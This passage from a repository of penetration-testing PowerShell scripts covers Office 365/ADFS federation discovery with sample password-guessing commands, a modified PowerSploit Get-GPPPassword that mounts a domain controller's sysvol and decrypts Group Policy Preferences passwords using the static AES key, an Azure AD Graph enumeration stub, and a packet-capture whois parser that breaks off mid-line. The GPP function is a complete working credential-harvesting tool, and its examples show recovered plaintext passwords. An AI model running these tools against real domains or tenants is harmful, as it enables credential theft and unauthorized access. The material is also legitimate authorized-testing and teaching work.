"C:\Temp\domains.txt" | ForEach-Object {Get-FederationEndpoint -domain $_} | ft -AutoSize 20 | 21 | .NOTES 22 | Author: Karl Fosaaen (@kfosaaen) - 2016, NetSPI 23 | 24 | .LINK 25 | https://blog.netspi.com/using-powershell-identify-federated-domains/ 26 | http://www.economyofmechanism.com/office365-authbypass.html 27 | https://blogs.msdn.microsoft.com/besidethepoint/2012/10/17/request-adfs-security-token-with-powershell/ 28 | https://msdn.microsoft.com/en-us/library/jj151815.aspx 29 | https://technet.microsoft.com/en-us/library/dn568015.aspx 30 | #> 31 | 32 | function Get-FederationEndpoint{ 33 | 34 | [CmdletBinding()] 35 | Param( 36 | [Parameter(Mandatory=$true, 37 | HelpMessage="Domain name to get the ADFS endpoint for.")] 38 | [string]$domain, 39 | 40 | [Parameter(Mandatory=$false, 41 | HelpMessage="Flag for authentication command output.")] 42 | [switch]$cmd 43 | ) 44 | 45 | # "Test" Email 46 | $email = "test@"+$domain 47 | 48 | # Microsoft URL to get the JSON response from 49 | $url = "https://login.microsoftonline.com/common/userrealm/?user="+$email+"&api-version=2.1&checkForMicrosoftAccount=true"; 50 | 51 | # Create data table to house results 52 | $EmailTestResults = new-object system.data.datatable 53 | $EmailTestResults.columns.add("Domain") | Out-Null 54 | $EmailTestResults.columns.add("InternalDomain") | Out-Null 55 | $EmailTestResults.columns.add("Type") | Out-Null 56 | $EmailTestResults.columns.add("BrandName") | Out-Null 57 | $EmailTestResults.columns.add("SSOEndpoints") | Out-Null 58 | $EmailTestResults.columns.add("AuthURL") | Out-Null 59 | 60 | try{ 61 | # Make the request 62 | $JSON = Invoke-RestMethod -Uri $url 63 | } 64 | catch{ 65 | Write-Host "`nThe Request out to Microsoft failed." 66 | } 67 | 68 | # Handle the Response 69 | $NameSpaceType = $JSON[0].NameSpaceType 70 | 71 | if ($NameSpaceType -eq "Managed"){ 72 | 73 | #Add data to the table 74 | $EmailTestResults.Rows.Add($JSON[0].DomainName, "NA", "Managed", $JSON[0].FederationBrandName, "NA", "NA") | Out-Null 75 | 76 | if ($cmd){ 77 | 78 | # Sample command 79 | Write-Host "`nDomain is managed by Microsoft, try guessing creds this way:`n`n`t`$msolcred = get-credential`n`tconnect-msolservice -credential `$msolcred" 80 | # Check if AzureAD module is installed 81 | if (Get-Module -Name MsOnline){} 82 | else{Write-Host "`n`t*Requires AzureAD PowerShell module to be installed and loaded - https://msdn.microsoft.com/en-us/library/jj151815.aspx"} 83 | } 84 | } 85 | ElseIf ($NameSpaceType -eq "Federated"){ 86 | 87 | # Parse Stuff 88 | $username = $email.Split("@")[0] 89 | $domain = $JSON[0].DomainName 90 | $ADFSBaseUri = [string]$JSON[0].AuthURL.Split("/")[0]+"//"+[string]$JSON[0].AuthURL.Split("/")[2]+"/" 91 | $AppliesTo = $ADFSBaseUri+"adfs/services/trust/13/usernamemixed" 92 | 93 | try { 94 | #Goes a step further to grab internal domain from ADFS server (if supported) 95 | $domainRequest = Invoke-WebRequest -Uri $JSON[0].AuthURL 96 | $domainRequest.RawContent -match "userNameValue = '(.*?)\\\\' \+ userName\." | Out-Null 97 | $realDomain = $Matches[1] 98 | } 99 | catch{$realDomain = "NA"} 100 | 101 | $SSOSitesURL = $ADFSBaseUri+"adfs/ls/idpinitiatedsignon.aspx?" 102 | 103 | try { 104 | #Goes a step further to grab SSO Endpoints from ADFS server (if supported) 105 | $SSORequest = Invoke-WebRequest -Uri $SSOSitesURL 106 | $endpoints = @() 107 | foreach ($element in $SSORequest.AllElements) {if ($element.tagName -match "OPTION"){$endpoints += $element.outerText}} 108 | if ($endpoints.Length -eq 0){$endpoints = "NA"} 109 | } 110 | catch{$endpoints = "NA"} 111 | 112 | #Add data to the table 113 | $EmailTestResults.Rows.Add($JSON[0].DomainName, $realDomain, "Federated", $JSON[0].FederationBrandName, $endpoints -join ', ', $JSON[0].AuthURL) | Out-Null 114 | 115 | 116 | if ($cmd){ 117 | 118 | # Write out the sample 119 | Write-Host "`nMake sure you use the correct Username and Domain parameters when you try to authenticate!`n`nAuthentication Command:`nInvoke-ADFSSecurityTokenRequest -ClientCredentialType UserName -ADFSBaseUri"$ADFSBaseUri" -AppliesTo "$AppliesTo" -UserName '"$username"' -Password 'Winter2016' -Domain '"$domain"' -OutputType Token -SAMLVersion 2 -IgnoreCertificateErrors" 120 | # Check if Invoke-ADFSSecurityTokenRequest is loaded 121 | try {Get-Command -Name Invoke-ADFSSecurityTokenRequest -ErrorAction Stop} 122 | catch{Write-Host `n`n'*Requires the command imported from here - https://gallery.technet.microsoft.com/scriptcenter/Invoke-ADFSSecurityTokenReq-09e9c90c'} 123 | } 124 | } 125 | Else{ 126 | 127 | # If the domain has no federation information available from Microsoft 128 | $EmailTestResults.Rows.Add("NA", "NA", "NA", "NA", "NA", "NA") | Out-Null 129 | } 130 | 131 | Return $EmailTestResults 132 | } 133 | 134 | -------------------------------------------------------------------------------- /Get-GPPPasswordMod.ps1: -------------------------------------------------------------------------------- 1 | function Get-GPPPasswordMod 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. 7 | 8 | PowerSploit Function: Get-GPPPassword 9 | Author: Chris Campbell (@obscuresec) 10 | Shabby Mods: Scott Sutherland (@_nullbind) 11 | License: BSD 3-Clause 12 | Required Dependencies: None 13 | Optional Dependencies: None 14 | Version: 2.4.2 15 | 16 | .DESCRIPTION 17 | 18 | Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. 19 | 20 | Modification Summary 21 | - Added verbose statusing. 22 | - Added option to allow users to provide alternative credentials for authenticating to domain controllers not associated with the current user/domain. 23 | - Modified some of the parsing logic to output one credential at a time. 24 | - Added an excessive amount of comments to remind myself how PowerShell works :) 25 | 26 | .EXAMPLE 27 | 28 | Below is the standard command usage as a domain user. 29 | 30 | PS C:\> Get-GPPPassword 31 | 32 | NewName : 33 | Changed : 2015-05-05 16:49:19 34 | UserName : test 35 | CPassword : wWHIrHyXsbFpBhpQ/fMKbwEEg3Ko0Es+RskCj/W6F8I 36 | Password : password 37 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\DataSources\DataSources.xml 38 | 39 | NewName : 40 | Changed : 2015-05-05 16:46:28 41 | UserName : myuser 42 | CPassword : OvKsuaNQPUAnLU4z8wzxe8Q1teovDkwdcJfI+rZb+eM 43 | Password : mypassword 44 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Drives\Drives.xml 45 | 46 | NewName : 47 | Changed : 2015-05-07 00:55:10 48 | UserName : supershareuser 49 | CPassword : 3uDWVlCID77BN5/bo5T5YLqZWIrj8yNKngzGhpuHO44 50 | Password : superpass 51 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Drives\Drives.xml 52 | 53 | NewName : NotTheAdminUser 54 | Changed : 2015-05-08 01:16:36 55 | UserName : Administrator 56 | CPassword : zkS7m3XryG3Mwr/HOHT59n8D4YqouI/idF01L9gjpjw 57 | Password : ********11 58 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\Groups.xml 59 | 60 | NewName : TestAdmin 61 | Changed : 2015-05-08 00:58:49 62 | UserName : MyAdministrator 63 | CPassword : AzVJmXh/J9KrU5n0czX1uAjyl43GRDc33Gnizx/zYpE 64 | Password : testpass 65 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\Groups.xml 66 | 67 | NewName : 68 | Changed : 2015-05-05 16:51:01 69 | UserName : administrator 70 | CPassword : upTiWyCZN6O+ljt30DpKoO11LltmtQzgY29yzKRyjtY 71 | Password : SuperPassword! 72 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\ScheduledTasks\ScheduledTasks.xml 73 | 74 | .EXAMPLE 75 | 76 | In the example below the verbose switch is used to show additional status information and return a list of passwords. Also, the exmaple 77 | shows how to target a remote domain controller using alternative domain credentials from a system not associated with the domain of the 78 | domain controller. 79 | 80 | PS C:\> Get-GPPPasswordMod -Verbose -DomainController 10.2.9.109 -Credential test.domain\administrator | Select-Object Password 81 | VERBOSE: Creating temp drive bgzimwykdt mapped to \\10.2.9.109\sysvol... 82 | VERBOSE: Gathering GPP xml files from \\10.2.9.109\sysvol... 83 | VERBOSE: Paring content from GPP xml files... 84 | VERBOSE: DataSources.xml found, processing... 85 | VERBOSE: Drives.xml found, processing... 86 | VERBOSE: Groups.xml found, processing... 87 | VERBOSE: Printers.xml found, processing... 88 | VERBOSE: ScheduledTasks.xml found, processing... 89 | VERBOSE: Removing temp drive bgzimwykdt... 90 | 91 | Password 92 | -------- 93 | password 94 | mypassword 95 | superpass 96 | ********11 97 | testpass 98 | SuperPassword! 99 | 100 | .LINK 101 | 102 | http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html 103 | https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 104 | http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences 105 | http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html 106 | 107 | #> 108 | [CmdletBinding(DefaultParametersetName="Default")] 109 | Param( 110 | 111 | [Parameter(Mandatory=$false, 112 | HelpMessage="Credentials to use when connecting to a Domain Controller.")] 113 | [System.Management.Automation.PSCredential] 114 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 115 | 116 | [Parameter(Mandatory=$false, 117 | HelpMessage="Domain controller for Domain and Site that you want to query against.")] 118 | [string]$DomainController 119 | ) 120 | 121 | Begin 122 | { 123 | 124 | # Ensure that machine is domain joined and script is running as a domain account, or a credential has been provided 125 | if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) -and (-not $Credential) ) { 126 | throw 'Machine is not a domain member or User is not a member of the domain.' 127 | return 128 | } 129 | 130 | # ---------------------------------------------------------------- 131 | # Define helper function that decodes and decrypts password 132 | # ---------------------------------------------------------------- 133 | function Get-DecryptedCpassword { 134 | [CmdletBinding()] 135 | Param ( 136 | [string] $Cpassword 137 | ) 138 | 139 | try { 140 | #Append appropriate padding based on string length 141 | $Mod = ($Cpassword.length % 4) 142 | 143 | switch ($Mod) { 144 | '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} 145 | '2' {$Cpassword += ('=' * (4 - $Mod))} 146 | '3' {$Cpassword += ('=' * (4 - $Mod))} 147 | } 148 | 149 | $Base64Decoded = [Convert]::FromBase64String($Cpassword) 150 | 151 | #Create a new AES .NET Crypto Object 152 | $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider 153 | [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 154 | 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 155 | 156 | #Set IV to all nulls to prevent dynamic generation of IV value 157 | $AesIV = New-Object Byte[]($AesObject.IV.Length) 158 | $AesObject.IV = $AesIV 159 | $AesObject.Key = $AesKey 160 | $DecryptorObject = $AesObject.CreateDecryptor() 161 | [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) 162 | 163 | return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) 164 | } 165 | 166 | catch {Write-Error $Error[0]} 167 | } 168 | 169 | # ---------------------------------------------------------------- 170 | # Setup data table to store GPP Information 171 | # ---------------------------------------------------------------- 172 | $TableGPPPasswords = New-Object System.Data.DataTable 173 | $TableGPPPasswords.Columns.Add('NewName') | Out-Null 174 | $TableGPPPasswords.Columns.Add('Changed') | Out-Null 175 | $TableGPPPasswords.Columns.Add('UserName') | Out-Null 176 | $TableGPPPasswords.Columns.Add('CPassword') | Out-Null 177 | $TableGPPPasswords.Columns.Add('Password') | Out-Null 178 | $TableGPPPasswords.Columns.Add('File') | Out-Null 179 | 180 | # ---------------------------------------------------------------- 181 | # Authenticate to DC, mount sysvol share, & dump xml file contents 182 | # ---------------------------------------------------------------- 183 | 184 | # Set target DC 185 | if($DomainController){ 186 | $TargetDC = "\\$DomainController" 187 | }else{ 188 | $TargetDC = $env:LOGONSERVER 189 | } 190 | 191 | # Create randomish name for dynamic mount point 192 | $set = "abcdefghijklmnopqrstuvwxyz".ToCharArray(); 193 | $result += $set | Get-Random -Count 10 194 | $DriveName = [String]::Join("",$result) 195 | $DrivePath = "$TargetDC\sysvol" 196 | 197 | # Map a temp drive to the DC sysvol share 198 | Write-Verbose "Creating temp drive $DriveName mapped to $DrivePath..." 199 | If ($Credential.UserName){ 200 | 201 | # Mount the drive 202 | New-PSDrive -PSProvider FileSystem -Name $DriveName -Root $DrivePath -Credential $Credential| Out-Null 203 | }else{ 204 | 205 | # Create a temp drive mapping 206 | New-PSDrive -PSProvider FileSystem -Name $DriveName -Root $DrivePath | Out-Null 207 | } 208 | } 209 | 210 | Process 211 | { 212 | # Verify temp drive mounted 213 | $DriveCheck = Get-PSDrive | Where { $_.name -like "$DriveName"} 214 | if($DriveCheck) { 215 | Write-Verbose "$Drivename created." 216 | }else{ 217 | Write-Verbose "Failed to mount $DriveName to $DrivePath." 218 | return 219 | } 220 | 221 | # ---------------------------------------------------------------- 222 | # Find, download, parse, decrypt, and display results 223 | # ---------------------------------------------------------------- 224 | 225 | # Setup temp drive name 226 | $DriveLetter = $DriveName+":" 227 | 228 | # Get a list of GGP config files 229 | Write-Verbose "Gathering GPP xml files from $DrivePath..." 230 | $XMlFiles = Get-ChildItem -Path $DriveLetter -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' 231 | 232 | # Parse GPP config files 233 | Write-Verbose "Paring content from GPP xml files..." 234 | $XMlFiles | 235 | ForEach-Object { 236 | $FileFullName = $_.fullname 237 | $FileName = $_.Name 238 | [xml]$FileContent = Get-Content -Path "$FileFullName" 239 | 240 | # Process Drives.xml 241 | if($FileName -eq "Drives.xml"){ 242 | 243 | Write-Verbose "$FileName found, processing..." 244 | 245 | $FileContent.Drives.Drive | 246 | ForEach-Object { 247 | [string]$Username = $_.properties.username 248 | [string]$CPassword = $_.properties.cpassword 249 | [string]$Password = Get-DecryptedCpassword $Cpassword 250 | [datetime]$Changed = $_.changed 251 | [string]$NewName = "" 252 | 253 | # Add the results to the data table 254 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null 255 | } 256 | } 257 | 258 | # Process Groups.xml 259 | if($FileName -eq "Groups.xml"){ 260 | 261 | Write-Verbose "$FileName found, processing..." 262 | 263 | $Filecontent.Groups.User | 264 | ForEach-Object { 265 | [string]$Username = $_.properties.username 266 | [string]$CPassword = $_.properties.cpassword 267 | [string]$Password = Get-DecryptedCpassword $Cpassword 268 | [datetime]$Changed = $_.changed 269 | [string]$NewName = $_.properties.newname 270 | 271 | # Add the results to the data table 272 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null 273 | } 274 | } 275 | 276 | # Process Services.xml 277 | if($FileName -eq "Services.xml"){ 278 | 279 | Write-Verbose "$FileName found, processing..." 280 | 281 | $Filecontent.NTServices.NTService | 282 | ForEach-Object { 283 | [string]$Username = $_.properties.accountname 284 | [string]$CPassword = $_.properties.cpassword 285 | [string]$Password = Get-DecryptedCpassword $Cpassword 286 | [datetime]$Changed = $_.changed 287 | [string]$NewName = "" 288 | 289 | # Add the results to the data table 290 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null 291 | } 292 | } 293 | 294 | # Process ScheduledTasks.xml 295 | if($FileName -eq "ScheduledTasks.xml"){ 296 | 297 | Write-Verbose "$FileName found, processing..." 298 | 299 | $Filecontent.ScheduledTasks.Task | 300 | ForEach-Object { 301 | [string]$Username = $_.properties.runas 302 | [string]$CPassword = $_.properties.cpassword 303 | [string]$Password = Get-DecryptedCpassword $Cpassword 304 | [datetime]$Changed = $_.changed 305 | [string]$NewName = "" 306 | 307 | # Add the results to the data table 308 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null 309 | } 310 | } 311 | 312 | # Process DataSources.xml 313 | if($FileName -eq "DataSources.xml"){ 314 | 315 | Write-Verbose "$FileName found, processing..." 316 | 317 | $Filecontent.DataSources.DataSource | 318 | ForEach-Object { 319 | [string]$Username = $_.properties.username 320 | [string]$CPassword = $_.properties.cpassword 321 | [string]$Password = Get-DecryptedCpassword $Cpassword 322 | [datetime]$Changed = $_.changed 323 | [string]$NewName = "" 324 | 325 | # Add the results to the data table 326 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null 327 | } 328 | } 329 | 330 | # Process Printers.xml 331 | if($FileName -eq "Printers.xml"){ 332 | 333 | Write-Verbose "$FileName found, processing..." 334 | 335 | $Filecontent.Printers.SharedPrinter | 336 | ForEach-Object { 337 | [string]$Username = $_.properties.username 338 | [string]$CPassword = $_.properties.cpassword 339 | [string]$Password = Get-DecryptedCpassword $Cpassword 340 | [datetime]$Changed = $_.changed 341 | [string]$NewName = "" 342 | 343 | # Add the results to the data table 344 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null 345 | } 346 | } 347 | 348 | } 349 | 350 | # Remove the temp drive mapping 351 | Write-Verbose "Removing temp drive $DriveName..." 352 | Remove-PSDrive $DriveName 353 | 354 | # Check if anything was found 355 | if ( -not $XMlFiles ) { 356 | throw 'No preference files found.' 357 | return 358 | } 359 | 360 | # Display results 361 | $TableGPPPasswords 362 | } 363 | } 364 | -------------------------------------------------------------------------------- /Get-GraphAPIToken.ps1: -------------------------------------------------------------------------------- 1 | #https://blogs.technet.microsoft.com/paulomarques/2016/03/21/working-with-azure-active-directory-graph-api-from-powershell/ 2 | 3 | # Work in Progress 4 | 5 | function Get-GraphAPIToken 6 | { 7 | param 8 | ( 9 | [Parameter(Mandatory=$true)] 10 | $TenantName, 11 | [Parameter(Mandatory=$false)] 12 | $UserName, 13 | [Parameter(Mandatory=$false)] 14 | $Password, 15 | [Parameter(Mandatory=$false)] 16 | $Credential 17 | ) 18 | 19 | $adal = "${env:ProgramFiles(x86)}\Microsoft SDKs\Azure\PowerShell\ServiceManagement\Azure\Services\Microsoft.IdentityModel.Clients.ActiveDirectory.dll" 20 | $adalforms = "${env:ProgramFiles(x86)}\Microsoft SDKs\Azure\PowerShell\ServiceManagement\Azure\Services\Microsoft.IdentityModel.Clients.ActiveDirectory.WindowsForms.dll" 21 | [System.Reflection.Assembly]::LoadFrom($adal) | Out-Null 22 | [System.Reflection.Assembly]::LoadFrom($adalforms) | Out-Null 23 | $clientId = "1950a258-227b-4e31-a9cf-717495945fc2" 24 | $redirectUri = "urn:ietf:wg:oauth:2.0:oob" 25 | $resourceAppIdURI = "https://graph.windows.net" 26 | $authority = "https://login.windows.net/$TenantName" 27 | 28 | #$creds = New-Object "Microsoft.IdentityModel.Clients.ActiveDirectory.UserCredential" -ArgumentList $UserName,$Password 29 | 30 | $authContext = New-Object "Microsoft.IdentityModel.Clients.ActiveDirectory.AuthenticationContext" -ArgumentList $authority 31 | $authResult = $authContext.AcquireToken($resourceAppIdURI, $clientId, $redirectUri, "auto") 32 | return $authResult 33 | } 34 | 35 | 36 | # Full resource list - https://msdn.microsoft.com/library/azure/ad/graph/api/api-catalog 37 | 38 | function Get-GraphData{ 39 | param 40 | ( 41 | [Parameter(Mandatory=$true)] 42 | $Token, 43 | [Parameter(Mandatory=$true)] 44 | $Tenant, 45 | [Parameter(Mandatory=$true)] 46 | [ValidateSet('contacts', 'directoryRoles', 'domains', 'groups', 'subscribedSkus', 'servicePrincipalsByAppId', 'tenantDetails', 'users')] 47 | $Resource, 48 | [Parameter(Mandatory=$false)] 49 | $Extended 50 | ) 51 | 52 | $authHeader = @{ 53 | 54 | 'Content-Type'='application\json' 55 | 56 | 'Authorization'=$Token.CreateAuthorizationHeader() 57 | 58 | } 59 | 60 | $uri = "https://graph.windows.net/$tenant/$($resource)?api-version=1.6" 61 | $uriPage = "https://graph.windows.net/$tenant/" 62 | 63 | 64 | #return (Invoke-RestMethod -Uri $uri -Headers $authHeader -Method Get).value 65 | $method = (Invoke-RestMethod -Uri $uri -Headers $authHeader -Method Get) 66 | 67 | $output = $method.value 68 | 69 | #https://blog.kloud.com.au/2016/08/10/enumerating-all-usersgroupscontacts-in-an-azure-tenant-using-powershell-and-the-azure-graph-api-odata-nextlink-paging-function/ 70 | 71 | 72 | while($method.'odata.nextLink') 73 | { 74 | $nextLink = $method.'odata.nextLink'+'&api-version=1.6' 75 | 76 | $method = (Invoke-RestMethod -Uri $uriPage$nextLink -Headers $authHeader -Method Get) 77 | 78 | $output += $method.value 79 | } 80 | 81 | return $output 82 | } -------------------------------------------------------------------------------- /Get-IpInfoFromCap.ps1: -------------------------------------------------------------------------------- 1 | # Author: scott sutherland 2 | # This script uses tshark to parse the src.ip, dst.ip, and dst.port from a provided .cap file. It then looks up owner information. 3 | # Add threading (its super slow) 4 | # Add udp parsing 5 | # Note: currently udp ports are not imported and show up as 0 6 | 7 | # Example commands 8 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 9 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 10 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 | Out-GridView 11 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 | Export-Csv c:\temp\output.csv 12 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 -IpAPI 13 | 14 | Function Get-IpInfoFromCap{ 15 | 16 | [CmdletBinding()] 17 | param 18 | ( 19 | [Parameter(Mandatory=$True, ValueFromPipeline = $true, HelpMessage="Cap file path.")] 20 | [string]$capPath, 21 | [string]$IpFilter, 22 | [int]$Port, 23 | [string]$TsharkPath, 24 | [switch]$IpAPI 25 | ) 26 | 27 | Begin 28 | { 29 | # Set tshark path 30 | if( -not $TsharkPath){ 31 | $TsharkPath = 'C:\Program Files\Wireshark\tshark.exe' 32 | } 33 | 34 | # Verify tshark path 35 | If ((Test-Path $TsharkPath) -eq $True) { 36 | Write-Verbose "The tshark path is valid: $TsharkPath" 37 | }else{ 38 | Write-Host "The tshark path is invalid: $TsharkPath" 39 | return 40 | } 41 | 42 | # Port table 43 | $TblPortInfo = New-Object System.Data.DataTable 44 | $TblPortInfo.Columns.Add("SrcIp") | Out-Null 45 | $TblPortInfo.Columns.Add("DstIp") | Out-Null 46 | $TblPortInfo.Columns.Add("Ports") | Out-Null 47 | 48 | # IP info table 49 | $TblIPInfo = new-object System.Data.DataTable 50 | $TblIPInfo.Columns.Add("IpDest") | Out-Null 51 | $TblIPInfo.Columns.Add("IpSrc") | Out-Null 52 | $TblIPInfo.Columns.Add("Org") | Out-Null 53 | $TblIPInfo.Columns.Add("Owner") | Out-Null 54 | $TblIPInfo.Columns.Add("ArinRef") | Out-Null 55 | $TblIPInfo.Columns.Add("StartRange") | Out-Null 56 | $TblIPInfo.Columns.Add("EndRange") | Out-Null 57 | $TblIPInfo.Columns.Add("Country") | Out-Null 58 | $TblIPInfo.Columns.Add("City") | Out-Null 59 | $TblIPInfo.Columns.Add("Zip") | Out-Null 60 | $TblIPInfo.Columns.Add("ISP") | Out-Null 61 | 62 | # Output table 63 | $OutputTbl = new-object System.Data.DataTable 64 | $OutputTbl.Columns.Add("IpSrc") | Out-Null 65 | $OutputTbl.Columns.Add("IpDest") | Out-Null 66 | $OutputTbl.Columns.Add("IpOrg") | Out-Null 67 | $OutputTbl.Columns.Add("Owner") | Out-Null 68 | $OutputTbl.Columns.Add("ArinRef") | Out-Null 69 | $OutputTbl.Columns.Add("StartRange") | Out-Null 70 | $OutputTbl.Columns.Add("EndRange") | Out-Null 71 | $OutputTbl.Columns.Add("Country") | Out-Null 72 | $OutputTbl.Columns.Add("City") | Out-Null 73 | $OutputTbl.Columns.Add("Zip") | Out-Null 74 | $OutputTbl.Columns.Add("ISP") | Out-Null 75 | $OutputTbl.Columns.Add("Ports") | Out-Null 76 | } 77 | 78 | Process 79 | { 80 | # Set cap file path 81 | if( -not $capPath){ 82 | Write-Host "No cap file provided." 83 | return 84 | } 85 | 86 | # Verify cap path 87 | If ((Test-Path $capPath) -eq $True) { 88 | Write-Verbose "The cap path is valid: $capPath" 89 | }else{ 90 | Write-Host "The cap path is invalid: $capPath" 91 | return 92 | } 93 | 94 | # Set DstIp filter 95 | if(-not $IpFilter){ 96 | $CurrentIpFilter = "" 97 | }else{ 98 | $CurrentIpFilter = "-Yip.addr==$IpFilter" 99 | } 100 | 101 | # Execute tshark command (parse cap) 102 | Write-Verbose "Parsing cap file to variable" 103 | try{ 104 | 105 | #$TsharkCmdOutput = &$TsharkPath -r $capPath -T fields -e ip.src -e ip.dst -e tcp.dstport $DstIpFilter -E header=y -E separator=`, -E occurrence=f 106 | $a1 = "-r$capPath" 107 | $a2 = "-Tfields" 108 | $a3 = "-eip.src" 109 | $a4 = "-eip.dst" 110 | $a5 = "-etcp.dstport" 111 | $a7 = "-Eheader=y" 112 | $a8 = "-Eseparator=`," 113 | $a9 = "-Eoccurrence=f" 114 | 115 | $TsharkCmdOutput = &$TsharkPath $a1 $a2 $a3 $a4 $a5 $CurrentIpFilter $a7 $a8 $a9 116 | 117 | }catch{ 118 | Write-Warning "Bummer. Something went wrong..." 119 | return 120 | } 121 | 122 | # Import data tshark parsed 123 | $CapData = ConvertFrom-Csv -InputObject $TsharkCmdOutput 124 | 125 | # Import all parsed data (SrcIp, DstIp, Port) into $TblPortInfo 126 | $capDataIpOnly = $CapData | select ip.src,ip.dst -Unique | Sort-Object ip.src | select -Skip 1 127 | 128 | # Status user 129 | Write-Host "Getting IP information..." 130 | 131 | # Lookup source IP owner and location 132 | $capDataIpOnly | ForEach-Object { 133 | 134 | # Get source IP 135 | $IpAddress = $_.'ip.src' 136 | $CurrentDest = $_.'ip.dst' 137 | 138 | # Send whois request to arin via restful api 139 | $web = new-object system.net.webclient 140 | [xml]$results = $web.DownloadString("http://whois.arin.net/rest/ip/$IpAddress") 141 | 142 | 143 | # Parse data from responses 144 | $IpOwner = $results.net.name 145 | $IpOrg = $results.net.orgRef.name 146 | $IpStart = $results.net.startAddress 147 | $IpEnd = $results.net.endaddress 148 | $ArinRef = "http://whois.arin.net/rest/ip/$IpAddress" 149 | $IpCountry = "" 150 | $IpCity = "" 151 | $IpZip = "" 152 | $IpISP = "" 153 | 154 | # Put results in the data table 155 | $TblIPInfo.Rows.Add("$CurrentDest", 156 | "$IpAddress", 157 | "$IpOrg", 158 | "$IpOwner", 159 | "$ArinRef", 160 | "$IpStart", 161 | "$IpEnd", 162 | "$IpCountry", 163 | "$IpCity", 164 | "$IpZip", 165 | "$IpISP") | Out-Null 166 | 167 | # status the user 168 | Write-Verbose "Dest:$CurrentDest Src:$IpAddress Org: $IpOrg Owner: $IpOwner ($IpCountry) ($IpStart -$IpEnd)" 169 | 170 | } 171 | 172 | # Save Output 173 | $TblIPInfo | Export-Csv -NoTypeInformation ./ipinfo.csv 174 | 175 | # Status user 176 | Write-Host "Consolidating ports..." 177 | 178 | # Get list of unique src ips 179 | $CapSrcIps = $CapData | select ip.src,ip.dst -Unique | Sort-Object ip.src 180 | 181 | # Iterate through each IP 182 | $CapSrcIps | 183 | ForEach-Object{ 184 | 185 | # Combine ports with list 186 | $SourceIp = $_.'ip.src' 187 | $DestinationIp = $_.'ip.dst' 188 | 189 | # loop through full list 190 | $CapData | select ip.src,ip.dst,tcp.dstport -Unique | 191 | ForEach-Object{ 192 | 193 | $Src = $_.'ip.src' 194 | $Dst = $_.'ip.dst' 195 | $Port = $_.'tcp.dstport' 196 | 197 | # check if it is current ip 198 | if(($SourceIp -eq $Src) -and ($DestinationIp -eq $Dst)){ 199 | 200 | # build port list 201 | $ports = "$ports$port," 202 | $GoodSrc = $Src 203 | $GoodDst = $Dst 204 | $GoodPort = $Port 205 | } 206 | } 207 | 208 | # remove trailing 209 | $ports = $ports.Substring(0,$ports.Length-1) 210 | 211 | # Add ip info to final list 212 | $TblPortInfo.Rows.Add($GoodSrc,$GoodDst,$ports) | out-null 213 | 214 | # clear port list 215 | $ports = "" 216 | } 217 | 218 | # Status user 219 | Write-Host "Merging records..." 220 | 221 | # Combine Lists 222 | $TblPortInfo | 223 | ForEach-Object{ 224 | 225 | # Get port information 226 | $PortIpSrc = $_.SrcIp 227 | $PortIpDst = $_.DstIp 228 | $PortIpPorts = $_.Ports 229 | 230 | # Get IP information & merge 231 | $TblIPInfo | 232 | ForEach-Object{ 233 | 234 | # Get ip info 235 | $IpInfoIpSrc = $_.IpSrc 236 | $IpInfoIpDst = $_.IpDest 237 | $IpOrg = $_.IpOrg 238 | $IpInfoOwner = $_.Owner 239 | $ArinRef = 